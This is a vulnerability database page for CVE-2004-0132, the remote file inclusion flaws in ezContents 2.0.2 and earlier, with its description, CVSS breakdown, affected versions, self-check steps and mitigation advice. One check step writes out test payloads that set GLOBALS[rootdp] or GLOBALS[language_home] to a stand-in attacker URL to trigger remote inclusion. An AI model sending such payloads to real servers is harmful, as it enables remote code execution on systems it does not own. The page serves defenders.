dbcve.org
EzcontentsApplication · Visualshapers

CVE-2004-0132

HIGH · 7.5 CVSS v2.0 Published 2004-03-03
Mitigation only
No fix yet — a mitigation exists. There is no fixed release. A documented workaround reduces exposure in the meantime.
See remediation →
84/100
Remediation priority · High
Remotely reachable No privileges Zero-click

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
Multiple PHP remote file inclusion vulnerabilities in ezContents 2.0.2 and earlier allow remote attackers to execute arbitrary PHP code from a remote web server, as demonstrated using (1) the GLOBALS[rootdp] parameter to db.php, or (2) the GLOBALS[language_home] parameter to archivednews.php, and a malicious version of lang_admin.php.

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis · high confidence

ezContents 2.0.2 and earlier contains multiple remote file inclusion vulnerabilities where user-controlled global parameters (GLOBALS[rootdp] in db.php and GLOBALS[language_home] in archivednews.php) are used in PHP include/require statements without validation, allowing attackers to inject and execute arbitrary PHP code from remote malicious servers.

MitigationSanitize and validate all GLOBALS parameters before use in include/require statements - implement strict allowlist validation for file paths, disable allow_url_include, and upgrade to a patched version if available.

Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
EzcontentsApplication
Affected:= 1.40= 1.41= 1.42= 1.43= 1.44= 1.45= 1.45b= 2.0.1= 2.0.2= 2.0_rc1= 2.0_rc2= 2.0_rc3

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Network
Complexity
Low
Authentication
None
Confidentiality
Partial
Integrity
Partial
Availability
Partial

AV:N/AC:L/Au:N/C:P/I:P/A:P

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.

dbcve checks

Work through these to decide whether this CVE applies to you.

  1. Confirm ezContents installation and version
    Locate the ezContents installation directory and check for a version file or header in main PHP files. Common paths include /ezcontents/, /cms/, or application root directories. Look for version identifiers in index.php, about.php, or version.php files.
    Affected if The installed version matches any of: 1.40, 1.41, 1.42, 1.43, 1.44, 1.45, 1.45b, 2.0.1, 2.0.2, 2.0_rc1, 2.0_rc2, or 2.0_rc3
  2. Check for vulnerable db.php file
    Search for db.php in the ezContents installation directory. Inspect the file contents and search for patterns like 'include' or 'require' statements that use GLOBALS[rootdp] without sanitization.
    Affected if The file db.php exists and contains include/require statements using GLOBALS[rootdp] without input validation
  3. Check for vulnerable archivednews.php file
    Search for archivednews.php in the ezContents installation directory. Inspect the file contents and search for patterns like 'include' or 'require' statements that use GLOBALS[language_home] without sanitization.
    Affected if The file archivednews.php exists and contains include/require statements using GLOBALS[language_home] without input validation
  4. Verify PHP allow_url_include setting
    Check the PHP configuration file (php.ini) or execute phpinfo() to determine if the allow_url_include directive is enabled.
    Affected if allow_url_include is set to On, which permits PHP to include files from remote URLs
  5. Test parameter accessibility
    Attempt to access the application with modified query parameters such as ?GLOBALS[rootdp]=http://malicious.example.com/ or ?GLOBALS[language_home]=http://malicious.example.com/ to observe if the application attempts to include external resources.
    Affected if The application processes these GLOBALS parameters without validation and attempts to include external files

A defender is affected if ezContents versions 1.40 through 2.0.2 or release candidates are installed, vulnerable PHP files (db.php, archivednews.php) exist with the described GLOBALS parameter inclusion patterns, and allow_url_include is enabled in PHP configuration.

Generated from the published advisory. Verify against your own configuration.

Check your environment

Paste your version and any relevant configuration and it will be compared against the affected criteria above. Do not include secrets or credentials.

AI-assisted, checked against the advisory. Informational, not a guarantee.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

From vendor data
Mitigation available No clean upgrade yet — mitigate in the meantime
Mitigation

Sanitize and validate all GLOBALS parameters before use in include/require statements - implement strict allowlist validation for file paths, disable allow_url_include, and upgrade to a patched version if available.

Fix this in Ezcontents Scoped from the published advisory
  • Consultation3.0 h
  • Implementation8.0 h
  • Testing4.0 h
  • Review / QA2.0 h
17.0 hours of engineering $3,000
Get help mitigating

An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $4,800.

Scan for this in your stack

Free · runs locally
dbcve dependency scanner

Check whether your project pulls in CVE-2004-0132 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.

Get it on GitHub Scan in the browser

References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

Contributed

Peer-ranked notes from engineers who’ve handled CVE-2004-0132 in production — separate from our analysis above.

No notes yet

Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.

What this is

A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.

What belongs here
  • Verified mitigations, workarounds, and config changes
  • Version or environment caveats, and links to real fixes
  • No weaponised exploit code, or anything meant to cause harm
  • No spam, self-promotion, credentials, or personal data